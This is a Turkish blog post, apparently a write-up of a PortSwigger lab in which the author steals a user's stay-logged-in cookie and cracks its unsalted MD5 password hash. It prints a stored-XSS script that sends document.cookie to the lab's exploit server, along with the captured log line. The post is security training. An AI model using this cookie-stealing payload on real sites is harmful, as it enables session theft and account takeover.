top of page

Oturumu Açık Tutma

Yazarın fotoğrafı: Songül ÖZÜGÜRLER
Songül ÖZÜGÜRLER
28 Nis
2 dakikada okunur

Oturumu Açık Tutma

Bazı nadir durumlarda, çerez içinde hash’lenmiş bile olsa, bir kullanıcının gerçek parolasını düz metin olarak elde etmek mümkün olabilir. Bunun nedeni, internette yaygın parola listelerinin hash’lenmiş sürümlerinin bulunmasıdır. Eğer kullanıcının parolası bu listelerde yer alıyorsa, ilgili hash’i çözmek bazen sadece hash’i bir arama motoruna yapıştırmak kadar kolay olabilir.

Bu durum, şifreleme yaparken salt kullanılmasının ne kadar kritik olduğunu açıkça gösteriyor.

Lab: Offline Password Cracking

Seviye: Practitioner

Carlos’un stay-logged-in cookie’sini XSS ile çalacağız → MD5 hash’i çözeceğiz → Carlos olarak giriş yapıp hesabını sileceğiz.

Lab bize şu bilgileri veriyor:

Bizim hesabımız: wiener : peter

Hedef kullanıcı: carlos

Sistem: Stay-logged-in cookie içinde md5(password) saklıyor

Yorum bölümü: Stored XSS zafiyetli

İlk olarak, wiener hesabıyla giriş yaptım ve “Stay logged in” kutucuğunu işaretledim.

Oturumu Açık Tutma

Burp Suite üzerinden istekleri takip ederek tarayıcıya eklenen stay-logged-in cookie’sini yakaladım.

Oturumu Açık Tutma

Cookie’yi Decoder panelinde Base64’ten çözdüm ve şu yapıyla karşılaştım:

Oturumu Açık Tutma

Yani format tam olarak şu:

base64(username + ":" + md5(password))

Hash’in hangi tür olduğunu anlamak için bunu NameThatHash’e gönderdim → MD5 olduğunu doğruladı. CrackStation üzerinden kontrol ettiğimde hash’in aslında “peter” olduğunu gördüm. Bu aşamada cookie’nin mantığını çözdüm ve Carlos’un parolasını da aynı şekilde kırabileceğimi biliyordum.

Lab’daki yorum bölümü Stored XSS’e açık.

Oturumu Açık Tutma

Yani bir blog gönderisine kötü amaçlı bir script eklediğimizde, Carlos o sayfayı görüntülediğinde script otomatik çalışacak.

Lab bize ayrıca bir Exploit Server veriyor. Bu server, payload’tan gelecek istekleri dinleyip logluyor. Biz de Carlos’un cookie’sini buradan koparacağız. Exploit server’ın URL’si şöyle bir şey oluyor:

https://exploit-0ab500d50376ce1b80972a8401de008b.exploit-server.net/log

Şimdi bir blog yazısına aşağıdaki XSS payload’ını yorum olarak giriyoruz:

<script>
document.location='https://exploit-0ab500d50376ce1b80972a8401de008b.exploit-server.net/'+document.cookie
</script>

Dikkat edilmesi gereken noktalar:

URL’nin sonunda tırnakları doğru kapatmak

+document.cookie ile çerezi URL’nin sonuna eklemek

Carlos blogu görüntülediğinde tarayıcı otomatik olarak exploit server’a şu formatta bir GET isteği gönderecek:

GET /carlosBase64EncodedCookie

Exploit server’daki Access Log sayfasına gidiyoruz.

Oturumu Açık Tutma

Bir süre sonra (Carlos yorumu görüntülediğinde) şöyle bir satır görünüyor:

ip 2025–11–30 10:01:20 +0000 “GET /exploit?c=secret=DCjHeAnoNUWffEUbVvvMZ53pI5aGk5KA;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1” 200 “user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36”

Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz

Bu, Carlos’un stay-logged-in çerezi.

Base64 decode ettiğimizde:

Oturumu Açık Tutma

crackstation ile çözdüğümüzde ise

Oturumu Açık Tutma

carlosun şifresinin onceuponatime olduğunu görüyoruz. Hesabına giriş yapalım ve kullanıcıyı silelim

Oturumu Açık Tutma
Oturumu Açık Tutma

Lab bu şekilde çözüldü . Bu labı çözerken hem eğlendim hem de gerçekten “aa bak bu mantık böyle işliyormuş” dediğim noktalar oldu. Özellikle XSS ile çerez toplamak + hash kırmak birleşince ortaya çok öğretici bir akış çıkıyor. PortSwigger’ın bu tarz senaryoları, pratik düşünme kasını güçlendirmek için birebir.

Sıradaki labda görüşürüz! 😄

 
 
bottom of page